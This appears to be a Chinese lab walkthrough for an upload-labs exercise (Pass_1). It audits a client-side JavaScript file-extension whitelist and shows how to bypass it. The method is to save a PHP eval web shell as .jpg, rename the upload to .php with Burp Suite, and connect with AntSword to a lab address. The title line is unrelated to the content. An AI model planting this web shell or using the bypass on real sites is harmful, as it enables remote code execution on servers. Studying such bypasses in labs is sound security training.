dw網(wǎng)站制作效果怎么做html網(wǎng)頁制作模板
Pass_1
- 1. 上傳測試
- 2. 代碼審計
- **獲取文件輸入的值**:
- **檢查是否選擇了文件**:
- **定義允許的文件類型**:
- **提取文件的擴展名**:
- **檢查文件類型是否允許上傳**:
- **構(gòu)建錯誤消息并提醒用戶**:
- 3.繞過思路
- 3.1 將`WebShell`改為`.jpg`
- 3.2 使用 Burp Suite 監(jiān)聽、上傳、改包
- 4. `WebShell`連接測試
1. 上傳測試
- 上傳
WebShell.php
文件看一下回顯
從回顯提示看只能上傳
.jpg .png .gif
格式的文件
2. 代碼審計
function checkFile() {// 步驟 1: 獲取名為 'upload_file' 的輸入字段的值var file = document.getElementsByName('upload_file')[0].value;
獲取文件輸入的值:
- 這行代碼使用
document.getElementsByName('upload_file')[0]
來獲取頁面上第一個名為 ‘upload_file’ 的<input>
元素的值。 file
變量保存了用戶在該輸入字段中選擇的文件的路徑或文件名。- 在一些瀏覽器中,
file
可能只包含文件名,而不包含完整路徑。
?
// 步驟 2: 檢查文件輸入是否為空或未定義if (file == null || file == "") {alert("請選擇要上傳的文件!"); // 彈出提示框,要求用戶選擇一個文件return false; // 停止執(zhí)行函數(shù)并返回 false}
檢查是否選擇了文件:
- 這段代碼首先檢查
file
變量是否為空 (null
) 或空字符串 (""
)。 - 如果
file
是空的,說明用戶沒有選擇任何文件。 alert("請選擇要上傳的文件!")
會彈出一個提示框,通知用戶他們需要選擇一個文件。return false
用來終止函數(shù)的執(zhí)行,并且阻止表單的提交或進一步的操作。
?
// 步驟 3: 定義允許上傳的文件類型var allow_ext = ".jpg|.png|.gif"; // 允許的文件類型包括 .jpg, .png, .gif
定義允許的文件類型:
- 這里定義了一個包含允許上傳的文件類型的字符串
allow_ext
。 - 這個字符串使用豎線
|
分隔每種允許的文件擴展名,表示可以上傳.jpg
、.png
和.gif
類型的文件。
?
// 步驟 4: 提取上傳文件的擴展名var ext_name = file.substring(file.lastIndexOf("."));// 使用 `lastIndexOf(".")` 查找最后一個點的位置,截取文件名中從點開始到結(jié)束的部分(即擴展名)
提取文件的擴展名:
file.lastIndexOf(".")
找到文件名中最后一個點.
的位置。substring
方法從這個位置開始截取文件名的子字符串,也就是文件的擴展名部分(例如,如果文件名是image.jpg
,那么ext_name
就是.jpg
)。- 這種方法提取的擴展名包含了前面的點
.
。
?
// 步驟 5: 判斷上傳的文件類型是否在允許的范圍內(nèi)if (allow_ext.indexOf(ext_name + "|") == -1) {// 使用 `indexOf` 方法檢查 `allow_ext` 中是否包含擴展名 `ext_name`// 通過將 `ext_name` 加上一個 "|" 符號,可以避免部分匹配問題,例如 .jpg 和 .jpeg
檢查文件類型是否允許上傳:
allow_ext.indexOf(ext_name + "|")
檢查allow_ext
字符串中是否包含ext_name
加上一個豎線|
的部分。- 這樣做的目的是為了避免部分匹配的問題,例如避免
.jpg
匹配到.jpeg
。 - 如果
indexOf
返回-1
,說明ext_name
不在allow_ext
中,即文件類型不被允許上傳。
?
var errMsg = "該文件不允許上傳,請上傳" + allow_ext + "類型的文件, 當前文件類型為:" + ext_name;// 構(gòu)建一個錯誤消息,包含允許的文件類型和當前上傳文件的類型alert(errMsg); // 彈出錯誤提示return false; // 停止執(zhí)行并返回 false}
}
構(gòu)建錯誤消息并提醒用戶:
- 如果文件類型不被允許上傳,函數(shù)會構(gòu)建一個錯誤消息,說明只允許上傳哪些類型的文件,并提示當前文件的類型。
alert(errMsg)
會彈出這個錯誤消息框,通知用戶選擇的文件類型不符合要求。return false
停止函數(shù)的進一步執(zhí)行,并阻止表單的提交或后續(xù)處理。
3.繞過思路
- 該驗證是屬于
前端白名單驗證
,當點擊上傳
的時候客戶端瀏覽器會檢測文件是否是.jpg .png .gif
其中一種格式,我們可以將WebShell
文件先改為.jpg
文件,之后使用Burp Suite
抓包把文件改為.php
從而繞過。
3.1 將WebShell
改為.jpg
-
將代碼復(fù)制粘貼保存為
.jpg
文件<?php @eval($_POST['Hack']); ?>
3.2 使用 Burp Suite 監(jiān)聽、上傳、改包
- 改為
.php
格式后放行數(shù)據(jù)包
?
4. WebShell
連接測試
- 上傳文件地址:
http://10.10.0.3:8800/upload/WebShell.php
- 螞劍連接
WebShell
測試